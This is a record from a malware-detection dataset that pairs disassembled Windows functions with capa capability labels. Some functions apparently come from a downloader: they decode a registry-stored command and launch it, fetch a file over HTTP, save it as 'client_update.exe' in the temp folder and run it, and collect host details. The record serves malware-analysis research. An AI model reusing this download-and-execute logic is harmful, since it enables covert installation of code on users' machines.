joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41744d
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x429c51
push eax
mov dword fs:[0], esp
sub esp, 0x38
cmp dword [0x6559d4], 0
push esi
je 0x4174ec
mov esi, 0x6559c4
push ecx
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x1c]
push eax
mov ecx, esi
call fcn.00419677
mov ecx, eax
call fcn.004198a0
mov edx, eax
mov eax, dword [edx]
test eax, eax
je 0x41749d
mov eax, dword [eax]
mov ecx, dword [eax + 8]
mov eax, dword [eax + 4]
dec ecx
and ecx, dword [edx + 8]
push dword [eax + ecx*4]
lea ecx, [esp + 0x24]
call fcn.00410f63
and dword [esp + 0x44], 0
mov ecx, esi
call fcn.0041952c
cmp dword [esp + 0x34], 0x10
mov eax, dword [esp + 0x20]
jae 0x4174ce
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
or dword [esp + 0x44], 0xffffffff
lea ecx, [esp + 0x20]
call fcn.00402152
cmp dword [0x6559d4], 0
jne 0x41747a
mov ecx, dword [esp + 0x3c]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4174fc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, 0x429785
call fcn.0041e9fc
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x14], 0x10
mov edi, edx
jb 0x41751a
mov eax, dword [esi]
jmp 0x41751c
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4175ca
push ecx
push ecx
mov ecx, esi
call fcn.00418b82
cmp eax, 0xffffffff
je 0x41756f
push eax
push 0
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.00410cf1
and dword [ebp - 4], 0
mov edx, edi
mov ecx, eax
call fcn.004174fc
mov bl, al
neg bl
sbb bl, bl
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.00402152
inc bl
je 0x41756f
xor al, al
jmp 0x4175d6
mov ecx, dword [0x654298]
test ecx, ecx
je 0x41758c
cmp dword [esi + 0x14], 0x10
jb 0x417583
mov eax, dword [esi]
jmp 0x417585
mov eax, esi
push 0
push eax
call ecx
jmp 0x4175b6
cmp dword [0x653c48], 0
je 0x4175b4
push 0x18
pop eax
call fcn.0041ee20
push esp
push 0x435198
call fcn.0040e19c
push eax
call dword [0x653c48]
add esp, 0xc
jmp 0x41756b
xor eax, eax
test eax, eax
je 0x41756b
push esi
mov ecx, 0x6559c4
call fcn.004194a9
mov byte [edi], 0
jmp 0x4175d4
test eax, 0x410
je 0x41756b
mov byte [edi], 1
mov al, 1
lea esp, [ebp - 0x30]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x418236
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x42a7dc
call fcn.0041e9fc
mov eax, 0x1030
call fcn.0041ee20
push ebx
push ebp
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov dword [esp + 0x38], esi
mov dword [esp + 0x1048], ebx
lea eax, [esp + 0x14]
push eax
push 0x20019
push ebx
push 0x64eb18
push 0x80000001
mov dword [esp + 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0xf
pop edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x10], ebx
mov byte [esi], bl
mov dword [esp + 0x1048], ebx
xor ebp, ebp
inc ebp
mov dword [esp + 0x1c], ebp
test eax, eax
jne 0x41832c
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x20]
push eax
push ebx
push dword [esp + 0x1068]
mov dword [esp + 0x24], 0x1000
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x3c], bl
test eax, eax
jne 0x418322
mov eax, dword [esp + 0x18]
dec eax
cmp eax, 2
ja 0x418322
push ecx
lea eax, [esp + 0x40]
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
push eax
lea ecx, [esp + 0x28]
mov dword [esp + 0x3c], edi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.004024ac
mov dword [esp + 0x1048], ebp
lea eax, [esp + 0x20]
push eax
mov ecx, esi
call fcn.00410bed
mov byte [esp + 0x1048], bl
lea ecx, [esp + 0x20]
call fcn.00402152
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x1040]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x41aa96
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x14]
push esi
mov esi, dword [0x64e120]
push edi
test edx, edx
je 0x41aac0
lea eax, [edx - 1]
shr eax, 2
inc eax
imul ecx, ecx, 0x7fff0000
xor ecx, esi
sub edx, 4
dec eax
jne 0x41aab2
mov eax, dword [ebp + 8]
shr edx, 2
lea edi, [eax + edx*4]
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x41aaf1
dec edx
shr edx, 2
inc edx
imul ecx, ecx, 0x7fff0000
xor ecx, esi
mov eax, ecx
not eax
xor dword [edi], eax
lea edi, [edi + 4]
dec edx
je 0x41aaf1
mov esi, dword [0x64e120]
jmp 0x41aad5
pop edi
pop esi
pop ebp
ret
Function at 0x426352
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x64db10]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [fcn.0041b38e]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.0041f99e
mov dword [ebp - 0x14], eax
cmp dword [0x653b78], edi
jne 0x426443
push 0x800
push edi
push 0x42d298
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x4263d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x426523
push 0x42d298
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x426523
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x426523
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x653b78], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x653b7c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x653b80], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x653b88], eax
test eax, eax
je 0x426440
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x653b84], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x426468
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x42645b
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x42647d
push 4
pop eax
jmp 0x426525
cmp dword [ebp - 0x14], edi
je 0x42647d
push dword [0x653b78]
call dword [fcn.0041b392]
push 3
jmp 0x426462
mov eax, dword [0x653b84]
mov ebx, dword [fcn.0041b392]
cmp eax, esi
je 0x4264db
cmp dword [0x653b88], esi
je 0x4264db
push eax
call ebx
push dword [0x653b88]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4264db
test eax, eax
je 0x4264db
call ecx
test eax, eax
je 0x4264d0
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4264d0
test byte [ebp - 8], 1
jne 0x4264db
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x42650b
mov eax, dword [0x653b7c]
cmp eax, esi
je 0x426508
push eax
call ebx
test eax, eax
je 0x426508
call eax
mov edi, eax
test edi, edi
je 0x426508
mov eax, dword [0x653b80]
cmp eax, esi
je 0x426508
push eax
call ebx
test eax, eax
je 0x426508
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x653b78]
call ebx
test eax, eax
je 0x426523
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x426525
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041f6ff
leave
ret
Function at 0x401006
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x432004]
jne 0x401010
repz ret
jmp fcn.004016de

Function at 0x407345
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00401856
and dword [ebp - 4], 0
cmp dword [0x435480], 0
mov ebx, eax
jne 0x4073f6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4074a7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4074a7
push eax
call fcn.004017e4
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x435480], eax
call esi
push eax
call fcn.004017e4
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x435484], eax
call esi
push eax
call fcn.004017e4
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x435488], eax
call esi
push eax
call fcn.004017e4
pop ecx
mov dword [0x435490], eax
test eax, eax
je 0x4073f6
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004017e4
pop ecx
mov dword [0x43548c], eax
mov eax, dword [0x43548c]
cmp eax, ebx
je 0x40744e
cmp dword [0x435490], ebx
je 0x40744e
push eax
call fcn.0040185f
push dword [0x435490]
mov esi, eax
call fcn.0040185f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40744e
test edi, edi
je 0x40744e
call esi
test eax, eax
je 0x407445
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x407445
test byte [ebp - 0xc], 1
jne 0x40744e
or dword [ebp + 0x10], 0x200000
jmp 0x407487
mov eax, dword [0x435484]
cmp eax, ebx
je 0x407487
push eax
call fcn.0040185f
pop ecx
test eax, eax
je 0x407487
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x407487
mov eax, dword [0x435488]
cmp eax, ebx
je 0x407487
push eax
call fcn.0040185f
pop ecx
test eax, eax
je 0x407487
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x435480]
call fcn.0040185f
pop ecx
test eax, eax
je 0x4074a7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4074a9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42b6a0
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x804
mov eax, dword [0x432004]
xor eax, esp
mov dword [esp + 0x800], eax
cmp dword [0x806294], 0x114e
mov eax, dword [esp + 0x808]
mov dword [0x8060d8], eax
jne 0x42b6e1
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
lea ecx, [esp + 4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [esp + 0x800]
xor ecx, esp
call fcn.00401006
add esp, 0x804
ret

Function at 0x42b7b0
Capabilities:
Query environment variable

Disassembly:
mov eax, dword [0x433000]
push ebx
mov ebx, dword [0x806294]
push esi
mov esi, dword [0x8060dc]
push eax
call fcn.0042b6a0
add esp, 4
cmp dword [0x806294], 0x2f
jne 0x42b7db
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push esi
call fcn.0042b710
add esp, 4
cmp dword [0x806294], 0x568
pop esi
pop ebx
jne 0x42b7fa
push 0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
ret
Function at 0x10001430
Capabilities:
Terminate thread

Disassembly:
mov eax, 0x10011522
call fcn.10010fb4
push esi
mov esi, dword [ebp + 8]
mov dword [esi], vtable.TextLinks.0
mov dword [esi + 4], vtable.TextLinks.1.0
mov dword [esi + 8], vtable.TextLinks.2.0
and dword [ebp - 4], 0
push 0
push dword [esi + 0x18]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
call fcn.10001e4c
lea ecx, [esi + 0x14]
call fcn.10003ffe
or dword [ebp - 4], 0xffffffff
lea ecx, [esi + 0x10]
call fcn.10003ffe
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x100018aa
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
lea eax, [ebp - 4]
push eax
push dword [esi + 0x10]
xor edi, edi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 4], 0x103
je 0x100018e4
push edi
push edi
lea eax, [esi - 8]
push eax
push 0x100019bc
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x10], eax
pop edi
xor eax, eax
pop esi
leave
ret 8

Function at 0x100018ec
Capabilities:
Create process on windows
Delete registry value
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push ebx
push esi
push 0x32
pop esi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
dec esi
jne 0x100018fa
lea eax, [ebp - 4]
push eax
push str.SoftwareAppDataLowlplaytl
xor ebx, ebx
push SysReAllocStringLen
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x100019b6
push 0x7ff
lea eax, [ebp - 0x80b]
push ebx
push eax
mov dword [ebp - 8], 0x800
mov dword [ebp - 0xc], 1
mov byte [ebp - 0x80c], bl
call fcn.10004cd0
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x80c]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
mov esi, str.mwfffp
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100019ad
mov ecx, dword [ebp - 8]
dec ecx
cmp ecx, ebx
jle 0x10001987
xor byte [ebp + eax - 0x80c], 0x5f
inc eax
cmp eax, ecx
jl 0x1000197a
push 1
push ebx
push ebx
lea eax, [ebp - 0x80c]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jb 0x100019ad
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x10001c2a
Capabilities:
Check http status code
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [ebp + 0x10]
push esi
xor esi, esi
push esi
push esi
push esi
push esi
mov dword [eax], esi
push str.tl_v2.5.125ff
mov dword [ebp - 4], esi
mov dword [edi], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
push esi
push esi
push 3
push esi
push esi
push 0x50
push dword [ebp + 8]
mov dword [ebp - 0x20], eax
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x24], eax
cmp eax, esi
jne 0x10001c8d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x224]
push 0x200
push eax
call fcn.10004c63
add esp, 0xc
xor eax, eax
jmp 0x10001d83
push esi
push 0x84000300
push 0x10018474
push esi
push esi
push dword [ebp + 0xc]
push 0x10014780
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
push esi
push esi
push 0xffffffffffffffff
push esi
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push esi
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
push 0x20000013
push dword [ebp - 0xc]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
mov dword [ebp - 0x10], eax
cmp eax, esi
je 0x10001d5b
cmp dword [ebp - 0x18], 0xc8
jne 0x10001d5b
push ebx
mov ebx, 0x400
push ebx
push 8
push dword [ebp + 0x14]
mov dword [ebp - 0x14], esi
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [ebp - 0x14]
push ecx
mov dword [edi], eax
push 0x3ff
jmp 0x10001d49
mov eax, dword [ebp - 0x14]
cmp eax, esi
je 0x10001d5a
add dword [ebp - 4], eax
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 4]
cmp eax, 0x10
jae 0x10001d38
add dword [ebp - 8], ebx
push dword [ebp - 8]
push dword [edi]
push 8
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov dword [edi], eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 4]
dec eax
push eax
mov eax, dword [edi]
add eax, dword [ebp - 4]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_InternetReadFile]
mov dword [ebp - 0x10], eax
cmp eax, esi
jne 0x10001d0e
pop ebx
push dword [ebp - 0xc]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x24]
call esi
push dword [ebp - 0x20]
call esi
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov eax, dword [ebp - 0x10]
neg eax
sbb eax, eax
and eax, 0xfffffffe
inc eax
inc eax
pop esi
leave
ret

Function at 0x10001d87
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
dec eax
neg eax
sbb eax, eax
inc eax
leave
ret

Function at 0x10001e2a
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [0x10019508]
mov dword [esi + 8], eax
xor eax, eax
push eax
push eax
push esi
push 0x10001f33
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi], eax
mov al, 1
pop esi
ret
Function at 0x10001e4c
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [0x10019508]
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
neg eax
sbb eax, eax
neg eax
ret
Function at 0x100025b9
Capabilities:
Create process on windows
Get common file path
Parse url
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c8
push ebx
push esi
push edi
xor ebx, ebx
mov edi, 0x103
push edi
lea eax, [ebp - 0x1b3]
push ebx
push eax
mov byte [ebp - 5], bl
mov byte [ebp - 0x1b4], bl
call fcn.10004cd0
add esp, 0xc
lea eax, [ebp - 0x1b4]
push eax
lea esi, [edi + 1]
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.client_update.exe
lea eax, [ebp - 0x1b4]
push esi
push eax
call fcn.10004d4a
push edi
lea eax, [ebp - 0x3c3]
push ebx
push eax
mov byte [ebp - 0x3c4], bl
call fcn.10004cd0
push edi
lea eax, [ebp - 0x2bb]
push ebx
push eax
mov byte [ebp - 0x2bc], bl
call fcn.10004cd0
push 0x3c
pop edi
push edi
lea eax, [ebp - 0x60]
push ebx
push eax
call fcn.10004cd0
lea eax, [ebp - 0x3c4]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x2bc]
add esp, 0x30
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x60]
push eax
push 0x10000000
push dword [ebp + 8]
mov dword [ebp - 0x60], edi
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x30], esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x3c4]
push eax
lea edi, [ebp - 0x10]
call fcn.10001c2a
mov edi, dword [ebp - 0xc]
add esp, 0x10
cmp edi, ebx
jbe 0x10002784
push ebx
push 0x80
push 2
push ebx
push 1
push 0xc0000000
lea eax, [ebp - 0x1b4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x100026f8
push ebx
lea eax, [ebp - 0xc]
push eax
push edi
push dword [ebp - 0x10]
mov dword [ebp - 0xc], ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0xc], edi
jb 0x100026f1
mov byte [ebp - 5], 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp byte [ebp - 5], bl
je 0x10002784
push 0x44
pop esi
push esi
lea eax, [ebp - 0xac]
push ebx
push eax
call fcn.10004cd0
push 0x10
lea eax, [ebp - 0x24]
push ebx
push eax
call fcn.10004cd0
add esp, 0x18
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xac]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x10014711
lea eax, [ebp - 0x1b4]
push eax
mov dword [ebp - 0xac], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
dec eax
neg eax
sbb al, al
inc al
mov byte [ebp - 5], al
jne 0x10002784
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0x1b4]
push eax
call fcn.100024b1
add esp, 0xc
dec al
neg al
sbb al, al
inc al
mov byte [ebp - 5], al
mov al, byte [ebp - 5]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002877
Capabilities:
Get cpu information
Get disk information
Get hostname
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x1a4
push ebx
push esi
push edi
xor ebx, ebx
push 0x63
lea eax, [ebp - 0x12f]
push ebx
push eax
mov byte [ebp - 0x130], bl
call fcn.10004cd0
add esp, 0xc
push 0x64
pop edi
mov dword [ebp + 0x60], edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea eax, [ebp + 0x60]
push eax
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp + 0x64]
push eax
push ebx
push ebx
push 0x1001480c
mov dword [ebp + 0x64], ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x63
lea eax, [ebp - 0x67]
push ebx
push eax
mov dword [ebp + 0x68], 1
mov byte [ebp - 0x68], bl
call fcn.10004cd0
add esp, 0xc
lea eax, [ebp + 0x70]
push eax
push str.HARDWAREDESCRIPTIONSystemBIOS
push SysReAllocStringLen
mov dword [ebp + 0x6c], edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp + 0x6c]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp + 0x68]
push eax
push ebx
push str.BaseBoardProduct
push dword [ebp + 0x70]
call esi
push dword [ebp + 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x63
lea eax, [ebp - 3]
push ebx
push eax
mov byte [ebp - 4], bl
call fcn.10004cd0
push 0x63
lea eax, [ebp - 0xcb]
push ebx
push eax
mov byte [ebp - 0xcc], bl
call fcn.10004cd0
add esp, 0x18
lea eax, [ebp + 0x70]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [ebp + 0x6c]
push eax
mov dword [ebp + 0x6c], edi
mov dword [ebp + 0x68], 1
lea eax, [ebp - 4]
push eax
lea eax, [ebp + 0x68]
push eax
push ebx
push str.Identifier
push dword [ebp + 0x70]
call esi
lea eax, [ebp + 0x6c]
push eax
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp + 0x68]
push eax
push ebx
push str.ProcessorNameString
push dword [ebp + 0x70]
mov dword [ebp + 0x6c], edi
mov dword [ebp + 0x68], 1
call esi
push dword [ebp + 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp + 0x7c]
push dword [ebp + 0x64]
mov eax, esi
call fcn.10002a40
lea eax, [ebp - 0xcc]
push eax
mov eax, 0x10014608
push eax
lea ecx, [ebp - 4]
push ecx
push eax
lea ecx, [ebp - 0x68]
push ecx
push eax
lea ecx, [ebp - 0x130]
push ecx
lea edi, [esi + 8]
mov ebx, 0x1f8
call fcn.10003226
add esp, 0x20
pop edi
pop esi
pop ebx
add ebp, 0x74
leave
ret

Function at 0x10002ae3
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 0
jne 0x10002af1
xor al, al
leave
ret
lea eax, [ebp - 4]
push eax
push str.SoftwareAppDataLowlplaytl
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x10002aed
push esi
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
pop esi
leave
ret